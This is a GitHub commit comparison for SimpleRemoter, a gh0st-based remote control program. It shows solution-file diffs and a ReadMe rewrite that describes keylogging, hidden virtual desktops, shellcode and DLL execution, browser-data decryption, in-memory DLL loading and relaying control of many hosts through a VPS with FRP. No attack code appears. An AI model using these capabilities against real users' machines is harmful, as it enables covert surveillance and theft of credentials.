Compare commits
77 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
522e083d97 | ||
|
|
06d63dd990 | ||
|
|
65cb4b23d5 | ||
|
|
7f5b409c5c | ||
|
|
64bebb1b86 | ||
|
|
848f4089bb | ||
|
|
763b4f6f25 | ||
|
|
3e5d45df6b | ||
|
|
017a8c8fa2 | ||
|
|
4ca2b45242 | ||
|
|
aa34b64995 | ||
|
|
c59232d179 | ||
|
|
44f28defa2 | ||
|
|
1d2ac9d241 | ||
|
|
b738de0d5f | ||
|
|
9aa5d589c4 | ||
|
|
659f820fd1 | ||
|
|
2e1a5156e9 | ||
|
|
246fb01bf5 | ||
|
|
371f359541 | ||
|
|
0cce6e7a14 | ||
|
|
0f7b68496b | ||
|
|
09d58f0aff | ||
|
|
c2fd857d80 | ||
|
|
4a31cd8262 | ||
|
|
7c7c539305 | ||
|
|
c04da3618b | ||
|
|
c84b66aa3c | ||
|
|
c96f5776e5 | ||
|
|
9f47a908d6 | ||
|
|
95f808214c | ||
|
|
f1cf45dd3b | ||
|
|
f4364a4368 | ||
|
|
eeb1eb2f0b | ||
|
|
ddb2fc87b5 | ||
|
|
3b53519e89 | ||
|
|
bd6d00accb | ||
|
|
a6d2e5551d | ||
|
|
70d5382fda | ||
|
|
ae39639e9f | ||
|
|
fa8655fc0a | ||
|
|
46f7dc1790 | ||
|
|
15e03bd18a | ||
|
|
7e7db73358 | ||
|
|
6b7a83a599 | ||
|
|
444de50651 | ||
|
|
1e0cfe85b8 | ||
|
|
e54a5656b7 | ||
|
|
62b8f65f88 | ||
|
|
d34e4ba6c4 | ||
|
|
35df6677aa | ||
|
|
ba6f2ccf13 | ||
|
|
26470b6ad3 | ||
|
|
c1c011f33a | ||
|
|
2c4e8528b8 | ||
|
|
19f97de19e | ||
|
|
eaf295f0a8 | ||
|
|
1592b9e33f | ||
|
|
96ccba2c78 | ||
|
|
38dc350920 | ||
|
|
82e09d945d | ||
|
|
a21706f350 | ||
|
|
501f17e023 | ||
|
|
45e06c7c29 | ||
|
|
d0e8f03825 | ||
|
|
4662eeba70 | ||
|
|
a98a612226 | ||
|
|
7e83dbd431 | ||
|
|
972c139b4d | ||
|
|
72ef443504 | ||
|
|
9078f1eb10 | ||
|
|
e31aafcdb5 | ||
|
|
8be2456b91 | ||
|
|
4783a43e9e | ||
|
|
685e0a1e3f | ||
|
|
630f801574 | ||
|
|
4926cdb19c |
4
.github/FUNDING.yml
vendored
Normal file
4
.github/FUNDING.yml
vendored
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
# These are supported funding model platforms
|
||||||
|
|
||||||
|
github: yuanyuanxiang
|
||||||
|
ko_fi: shaunyuan
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
|
||||||
# Visual Studio 14
|
|
||||||
VisualStudioVersion = 14.0.25420.1
|
|
||||||
MinimumVisualStudioVersion = 10.0.40219.1
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
|
||||||
EndProject
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
|
||||||
EndProject
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
|
||||||
ProjectSection(ProjectDependencies) = postProject
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
|
||||||
EndProjectSection
|
|
||||||
EndProject
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
|
||||||
EndProject
|
|
||||||
Global
|
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
|
||||||
Debug|x86 = Debug|x86
|
|
||||||
Release|x86 = Release|x86
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
|
||||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
|
||||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
|
||||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
|
||||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
|
||||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
|
||||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
|
||||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
|
||||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
|
||||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
|
||||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
|
||||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
|
||||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
|
||||||
HideSolutionNode = FALSE
|
|
||||||
EndGlobalSection
|
|
||||||
EndGlobal
|
|
||||||
@@ -8,9 +8,6 @@ EndProject
|
|||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||||
EndProject
|
EndProject
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||||
ProjectSection(ProjectDependencies) = postProject
|
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}
|
|
||||||
EndProjectSection
|
|
||||||
EndProject
|
EndProject
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||||
EndProject
|
EndProject
|
||||||
@@ -18,10 +15,13 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
|
|||||||
ProjectSection(SolutionItems) = preProject
|
ProjectSection(SolutionItems) = preProject
|
||||||
history.md = history.md
|
history.md = history.md
|
||||||
ReadMe.md = ReadMe.md
|
ReadMe.md = ReadMe.md
|
||||||
|
ReadMe_EN.md = ReadMe_EN.md
|
||||||
使用方法.txt = 使用方法.txt
|
使用方法.txt = 使用方法.txt
|
||||||
使用花生壳.txt = 使用花生壳.txt
|
使用花生壳.txt = 使用花生壳.txt
|
||||||
EndProjectSection
|
EndProjectSection
|
||||||
EndProject
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
|
||||||
|
EndProject
|
||||||
Global
|
Global
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
Debug|x64 = Debug|x64
|
Debug|x64 = Debug|x64
|
||||||
@@ -62,6 +62,14 @@ Global
|
|||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
|
||||||
EndGlobalSection
|
EndGlobalSection
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
HideSolutionNode = FALSE
|
HideSolutionNode = FALSE
|
||||||
|
|||||||
250
ReadMe.md
250
ReadMe.md
@@ -1,25 +1,75 @@
|
|||||||
# 项目简介
|
# 🌐 语言 | Language
|
||||||
|
|
||||||
|
**[🇨🇳 中文](./ReadMe.md) | [🇺🇸 English](./ReadMe_EN.md)**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 📚 导航目录
|
||||||
|
|
||||||
|
- [1. 项目简介](#1-project-overview)
|
||||||
|
- [2. 免责声明](#2-legal-disclaimer)
|
||||||
|
- [3. 系统架构](#3-system-architecture)
|
||||||
|
- [3.1 主控程序](#31-master-controller)
|
||||||
|
- [3.2 受控程序](#32-controlled-client)
|
||||||
|
- [3.3 Linux客户端](#33-linux-client)
|
||||||
|
- [4. 部署方式](#4-deployment-methods)
|
||||||
|
- [4.1 内网部署](#41-intranet-deployment)
|
||||||
|
- [4.2 外网部署](#42-internet-deployment)
|
||||||
|
- [5. 更新日志](#5-changelog)
|
||||||
|
- [6. 其他项目](#6-other-projects)
|
||||||
|
- [7. 沟通反馈](#7-feedback-and-contact)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 1.项目简介 <a id="1-project-overview"></a>
|
||||||
|
|
||||||
**原始来源:** [zibility](https://github.com/zibility/Remote)
|
**原始来源:** [zibility](https://github.com/zibility/Remote)
|
||||||
|
|
||||||
**功能概述:** 基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
|
**功能概述:** 基于gh0st的远程控制器:实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、
|
||||||
|
注册表管理、键盘记录、SOCKS代理、虚拟桌面和执行代码等功能。
|
||||||
如果您热爱研究控制程序,喜欢本项目,请您对该项目添加星标。Fork、Watch此项目,提交Issues,发起Pull Request都是受欢迎的。
|
如果您热爱研究控制程序,喜欢本项目,请您对该项目添加星标。Fork、Watch此项目,提交Issues,发起Pull Request都是受欢迎的。
|
||||||
|
作者视业余空闲情况,将对所提问题进行修复。
|
||||||
|
|
||||||
根据本人空闲情况,此项目会不定期更新。若您想对该项目了解更多技术细节,喜欢讨论软件的各方面,学习和交流请通过适当的方式联系。
|
[](https://star-history.com/#yuanyuanxiang/SimpleRemoter&Date)
|
||||||
|
|
||||||
此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。
|
<span style="color:#FF5722; font-weight:bold;">*此程序仅限于学习和技术交流用途,使用者本人需对自己使用该软件产生的结果进行负责。* </span>
|
||||||
|
|
||||||
**起始日期**:2019.1.1
|
**起始日期**:2019.1.1
|
||||||
|
|
||||||
## 主控程序
|
# 2.免责声明 <a id="2-legal-disclaimer"></a>
|
||||||
主控程序为**YAMA.exe**是Server端,Release发布版本在单台电脑只能运行一个示例。
|
|
||||||
|
本项目为远程控制技术的研究性实现,仅供合法学习用途。**严禁**用于非法侵入、控制、监听他人设备等违法行为。
|
||||||
|
|
||||||
|
本软件以“现状”提供,不附带任何保证。使用本软件的风险由用户自行承担。我们不对任何因使用本软件而引发的非法或恶意用途负责。
|
||||||
|
用户应遵守相关法律法规,并负责任地使用本软件。开发者对任何因使用本软件产生的损害不承担责任。
|
||||||
|
|
||||||
|
# 3.系统架构 <a id="3-system-architecture"></a>
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
此程序(自v1.1.1)采用2层架构:
|
||||||
|
- (1).由超级用户分发并管理主控程序;
|
||||||
|
|
||||||
|
- (2).各个主控程序分别控制一些计算机。
|
||||||
|
|
||||||
|
这个架构具有下述特点:
|
||||||
|
- 借助于下层的主控程序作跳板,超级用户可以对整个系统中任何计算机进行控制;
|
||||||
|
- 不同的主控程序(Master 1,2,3等)所管理的计算机之间不能乱连,即主控程序只能控制由其本身生成的控制端;
|
||||||
|
- 由超级用户管理主控程序的授权。
|
||||||
|
|
||||||
|
**郑重提示:严禁用于非法控制他人的设备。**
|
||||||
|
|
||||||
|
## 3.1主控程序 <a id="31-master-controller"></a>
|
||||||
|
主控程序为**YAMA.exe**,作为Server端,基于IOCP通讯,支持上万主机同时在线;并且得益于分层控制架构,
|
||||||
|
系统支持的主机数量上升一个数量级。例如,一个超级用户管理10个Master,每个Master控制1万台主机,那么对超级管理员而言
|
||||||
|
可以控制10万台主机。
|
||||||
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
|
下面展示主控程序运行界面,所有功能均可用,程序运行稳定。
|
||||||
某些功能要求受控程序以管理员权限运行。
|
某些功能要求受控程序以管理员权限运行。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
主界面以列表形式展示连接到本机的受控程序。
|
主界面以列表形式展示连接到本机的受控程序。
|
||||||
选中某个主机以便进行远程控制。
|
选中某个主机以便进行远程控制,例如修改备注、代理映射、执行代码等。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@@ -27,17 +77,19 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
进程管理显示受控机器上面正在运行的进程,可对进程进行启停操作。
|
进程管理显示受控机器上面正在运行的进程,可对普通进程进行启停操作(无法操作高权限进程)。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作。
|
窗口管理显示受控机器上面打开的窗口或程序,可对其进行操作,隐藏或显示窗口。
|
||||||
|
|
||||||

|

|
||||||

|

|
||||||
|
|
||||||
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
|
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
|
||||||
屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发,但也是能支持的。
|
屏幕截图方法支持GDI、DXGI或VIRTUAL,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。
|
||||||
|
值得一提的是,VIRTUAL即虚拟桌面,可以在被控计算机后台运行远程桌面程序,对操作的流畅度进行了优化。
|
||||||
|
另外,支持上报活动窗口和检测指定软件。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@@ -45,21 +97,45 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
语音管理即监听受控机器的声音,需受控机器有声音输入设备。
|
语音管理即监听受控机器的声音,也可以向受控计算机发送语音,需受控机器有音频设备。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
视频管理即打印受控机器的摄像头,需受控机器有摄像头。
|
视频管理即打开受控机器的摄像头。在设置中默认勾选了检测摄像头,主机列表会显示是否有摄像头。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
服务管理即打开受控机器上面的服务列表。
|
服务管理即打开受控机器上面的服务列表,如果有权限,亦可对服务进行启动、停止等操作。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
注册表管理即打开受控机器上面的注册表。
|
注册表管理即打开受控机器上面的注册表,只能查看注册表,不支持修改。
|
||||||
|
|
||||||
## Linux 客户端
|
**关于授权:**
|
||||||
|
自v1.0.8起,操作主控程序需要获得授权。给新编译的程序14天试用期,过期之后生成服务端需要凭借"序列号"申请口令;
|
||||||
|
如果要屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数,重新编译程序,参看:
|
||||||
|
[#91](https://github.com/yuanyuanxiang/SimpleRemoter/issues/91)。
|
||||||
|
“口令”包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。生成口令需使用密码。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
自v1.1.1起,撤销对新编译程序的授权,任何人使用本程序,需要自行编译。否则程序将在使用10分钟后弹出对话框,请求输入口令。
|
||||||
|
授权逻辑的引入可以将大部分毫无编程经验的小白阻挡在外。
|
||||||
|
如果只想体验此远程控制程序,作者认为使用v1.0.7及以前版本即可,它们和后续版本在核心功能上没有本质不同。
|
||||||
|
如果您对技术有兴趣,则作者认为您有足够的能力亲自编译程序。
|
||||||
|
|
||||||
|
## 3.2受控程序 <a id="32-controlled-client"></a>
|
||||||
|

|
||||||
|
|
||||||
|
受控程序是Client端,分为2种运行形式("类型"):单个程序 **(1)** ghost.exe和 **(2)** TestRun.exe+ServerDll.dll形式。
|
||||||
|
(1)单个程序运行时,不依赖其他动态链接库,而第(2)种情况运行时,由EXE程序调用核心动态链接库。
|
||||||
|
|
||||||
|
注意:自[v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8)起,
|
||||||
|
`TestRun.exe`将采取内存加载DLL运行方式,向主控程序请求DLL并在内存中执行,这有利于代码的热更新。
|
||||||
|
|
||||||
|
## 3.3Linux客户端 <a id="33-linux-client"></a>
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@@ -69,26 +145,31 @@
|
|||||||
|
|
||||||
请在Linux环境编译得到客户端,然后在生成服务端对话框,选择该文件,填写上线地址生成Linux端程序。
|
请在Linux环境编译得到客户端,然后在生成服务端对话框,选择该文件,填写上线地址生成Linux端程序。
|
||||||
|
|
||||||
## 关于授权
|
---
|
||||||
|
|
||||||

|
# 4.部署方式 <a id="4-deployment-methods"></a>
|
||||||
|
|
||||||

|
## 4.1内网部署 <a id="41-intranet-deployment"></a>
|
||||||
|
|
||||||
当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要申请"序列号";
|
指的是主控程序和受控设备在同一个局域网,受控设备能直接连接主控的地址。这种部署方式非常简单,
|
||||||
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。
|
在生成服务时填写主控的IP和端口即可。
|
||||||
序列号包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。
|
|
||||||
|
|
||||||
## 受控程序
|
## 4.2外网部署 <a id="42-internet-deployment"></a>
|
||||||

|
|
||||||
|
|
||||||
受控程序是Client端,分为2种运行形式("类型"):单个程序 **(1)** ghost.exe和 **(2)** TestRun.exe+ServerDll.dll形式。
|
指的是主控程序和受控程序在不同的网络,主控设备没有公网IP,受控设备不能直接连接主控的地址。
|
||||||
(1)单个程序运行时,不依赖其他动态链接库,而第(2)种情况运行时,由EXE程序调用核心动态链接库。
|
为此,需要一个“中间人”,能将主控设备的内网IP穿透出去。一种方式是[使用花生壳](./使用花生壳.txt),此处不再赘述。
|
||||||
|
|
||||||
注意:自[v1.0.8](https://github.com/yuanyuanxiang/SimpleRemoter/releases/tag/v1.0.0.8)起,
|
本文讲述第二种方法,其原理和使用花生壳无异:
|
||||||
`TestRun.exe`将采取内存加载DLL运行方式,向主控程序请求DLL并在内存中执行,这有利于代码的热更新。
|
|
||||||
|
|
||||||
# 更新日志
|
*受控 ——> VPS ——> 主控*
|
||||||
|
|
||||||
|
我们用VPS作为“中间人”,实现对远程设备的控制。VPS的全称是“Virtual Private Server”,使用物理机也是可以的,不过VPS更具有性价比。
|
||||||
|
通常,您需要购买VPS。VPS和程序之间的通讯基于[FRP](https://github.com/fatedier/frp).
|
||||||
|
|
||||||
|
这种情况,在生成服务端程序时,IP填写的是VPS的IP,有些VPS供应商甚至提供域名,则填写域名也可以。通常,在VPS上运行FRP服务程序,
|
||||||
|
在本地运行FRP客户端程序。当有主机连接VPS时,则VPS这个中间人会把请求转发到本地计算机,而我们发起的控制请求也将经这个中间人打到受控主机。
|
||||||
|
|
||||||
|
# 5.更新日志 <a id="5-changelog"></a>
|
||||||
|
|
||||||
2025年以前的变更记录参看:[history](./history.md)
|
2025年以前的变更记录参看:[history](./history.md)
|
||||||
|
|
||||||
@@ -106,35 +187,103 @@
|
|||||||
|
|
||||||
**2025.04.05**
|
**2025.04.05**
|
||||||
|
|
||||||
Release v1.0.7, mainly fix or add new feature:
|
发布 v1.0.7,主要修复或新增以下功能:
|
||||||
|
|
||||||
- Update third-party libraries and switch zlib to zstd, old version v1.0.6 is compatible;
|
- 更新第三方库,将压缩算法从 zlib 更换为 zstd,旧版本 v1.0.6 仍兼容;
|
||||||
- Support compile with Win64;
|
- 支持编译为 Win64;
|
||||||
- Fix buges and make the program more stable;
|
- 修复若干 Bug,提高程序稳定性;
|
||||||
- Improve remote control efficiency and support more bitmap compressing method;
|
- 提升远程控制效率,新增更多位图压缩方式;
|
||||||
- Some code reorganization.
|
- 对部分代码结构进行了重构。
|
||||||
|
|
||||||
**2025.04.12**
|
**2025.04.12**
|
||||||
|
|
||||||
Since v1.0.7 released in April 5:
|
自 v1.0.7 于 4 月 5 日发布以来:
|
||||||
|
|
||||||
- Improvement: Make sure that the input command is always at the end of `Shelldlg`, and build a **simple Linux client**;
|
- 功能改进:确保 `Shelldlg` 输入命令始终定位在末尾,并构建了一个**简易的 Linux 客户端**;
|
||||||
- Fix bugs: #62, #74, #75 ;
|
- 修复 Bug:#62、#74、#75;
|
||||||
- Change the flag 0x1234567 to a more readable string; and improve building service and allow chosing other files to build;
|
- 将原标志位 0x1234567 更改为更具可读性的字符串;改进构建服务功能,允许选择其他文件进行构建;
|
||||||
- Showing the user's activities and monitoring specified software;
|
- 增加展示用户活动和监控指定软件的功能;
|
||||||
- Clean up global variables and make it easy to create multiple clients in one program, which is useful for testing the master's capacity;
|
- 清理全局变量,使得一个程序中可以轻松创建多个客户端,便于测试主控端的负载能力;
|
||||||
- Implement loading DLL in memory, make it easy to update client program;
|
- 实现内存加载 DLL,便于客户端程序热更新。
|
||||||
|
|
||||||
**2025.04.21**
|
**2025.04.21**
|
||||||
|
|
||||||
Release v1.0.8:
|
发布 v1.0.8:
|
||||||
|
|
||||||
- Support to share online host with other masters;
|
- 支持与其他主控共享在线主机;
|
||||||
- Implement service-generated authorization capability, and add a serial number generation menu;
|
- 实现服务端生成授权的能力,增加序列号生成菜单;
|
||||||
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
|
- 引入 `HPSocket` 库,为未来使用做准备,并引入静态 ffmpeg 库以支持构建 Win64 主控端;
|
||||||
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
|
- 实现内存中运行 DLL:`TestRun` 程序从主控请求 DLL 并在内存中执行。
|
||||||
|
|
||||||
# 沟通反馈
|
**2025.04.30**
|
||||||
|
|
||||||
|
发布 v1.0.9:
|
||||||
|
|
||||||
|
- 更新客户端构建功能 / 一体化生成;主控仅接受由自身构建的客户端连接;
|
||||||
|
- 优化授权功能。
|
||||||
|
|
||||||
|
**2025.06.01**
|
||||||
|
|
||||||
|
发布 v1.1.0:
|
||||||
|
|
||||||
|
- 修复:IOCPClient 断开连接时清空缓冲区;
|
||||||
|
- 实现 SOCKS 代理功能;
|
||||||
|
- 增加菜单项,修改列表样式,添加日志记录;
|
||||||
|
- 新增功能:增加一个用于执行 Shellcode 的 C 程序;
|
||||||
|
- 新增功能:对服务器地址进行加密;
|
||||||
|
- 新增特性:支持虚拟远程桌面监控;
|
||||||
|
- 新增命令:支持执行代码(64位 DLL)。
|
||||||
|
|
||||||
|
**2025.06.21**
|
||||||
|
|
||||||
|
发布 v1.1.1:
|
||||||
|
|
||||||
|
*自该版本开始,主控程序需要授权,并且会自动连接到授权服务器,您可以联系作者请求授权。
|
||||||
|
如果对这个有意见,请使用早期版本(<v1.0.8)。自行修改和编译程序,也可以解决该问题。*
|
||||||
|
|
||||||
|
- 修复:远程桌面算法不生效的问题
|
||||||
|
- 新增:添加用于操作在线客户端的菜单项
|
||||||
|
- 插件:新增远程聊天功能
|
||||||
|
- 插件:新增浏览器数据解密功能
|
||||||
|
- 插件:新增主机管理功能
|
||||||
|
- 插件:新增虚拟桌面功能
|
||||||
|
- 改进:#48 文件管理对话框支持排序
|
||||||
|
- 新功能:主控支持 WinOS(银狐) 远控客户端(RAT)
|
||||||
|
- 改进授权逻辑:支持在线授权主控端
|
||||||
|
- 新功能:支持随机或多路连接,即多个域名随机上线或并发上线
|
||||||
|
- 改进:新增弹窗以显示主机的详细信息
|
||||||
|
- 改进客户端稳定性
|
||||||
|
|
||||||
|
**2025.07.07**
|
||||||
|
|
||||||
|
发布 v1.1.2:
|
||||||
|
|
||||||
|
* 修复:键盘记录功能的问题
|
||||||
|
* 安全:增强插件的授权机制
|
||||||
|
* 修复:释放 `CMachineDlg` 对象时的内存泄漏问题
|
||||||
|
* 修复:使用 `Reverse Proxy` 时显示错误的 IP 地址 (#147)
|
||||||
|
* 新增:添加跳转到授权指南页面的菜单项
|
||||||
|
* 插件:新增一个文件管理模块
|
||||||
|
* 优化:减少主程序中的冗余代码
|
||||||
|
* 修复:在后台数据处理过程中关闭窗口导致的崩溃问题
|
||||||
|
* 优化:移除读取注册表时的冗余代码
|
||||||
|
* 架构调整:重构 TCP 客户端/服务器代码;重写套接字服务器逻辑
|
||||||
|
* 新功能:支持同时监听多个端口
|
||||||
|
* 新功能:支持客户端通过 UDP 连接;新增客户端协议选择(TCP/UDP)
|
||||||
|
* 插件:#145 支持远程画板功能
|
||||||
|
* 插件:增加远程桌面隐私屏幕功能
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 6.其他项目 <a id="6-other-projects"></a>
|
||||||
|
|
||||||
|
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands):此远控程序界面为全英文,采用不同的架构设计。
|
||||||
|
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT): 一款功能全面的远程控制程序,即大灰狼9.5.
|
||||||
|
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st): 也是一款基于Gh0st的远程控制程序。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
# 7.沟通反馈 <a id="7-feedback-and-contact"></a>
|
||||||
|
|
||||||
QQ:962914132
|
QQ:962914132
|
||||||
|
|
||||||
@@ -144,6 +293,7 @@ QQ:962914132
|
|||||||
|
|
||||||
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
|
欢迎提交: [Merge requests](https://github.com/yuanyuanxiang/SimpleRemoter/pulls)
|
||||||
|
|
||||||
赞助方式 / Sponsor:
|
赞助方式 / Sponsor:该项目的研究出自技术学习和兴趣爱好,本人视业余情况不定期更新项目。
|
||||||
|
**如果该项目对你有益,请通过赞助图标对本项目进行支持。**
|
||||||

|
如果你希望采用其他方式(如微信、支付宝、PayPal)对本项目进行赞助,请点击
|
||||||
|
[这里](https://github.com/yuanyuanxiang/yuanyuanxiang/blob/main/images/QR_Codes.jpg)。
|
||||||
|
|||||||
318
ReadMe_EN.md
Normal file
318
ReadMe_EN.md
Normal file
@@ -0,0 +1,318 @@
|
|||||||
|
# 🌐 Language | 语言
|
||||||
|
|
||||||
|
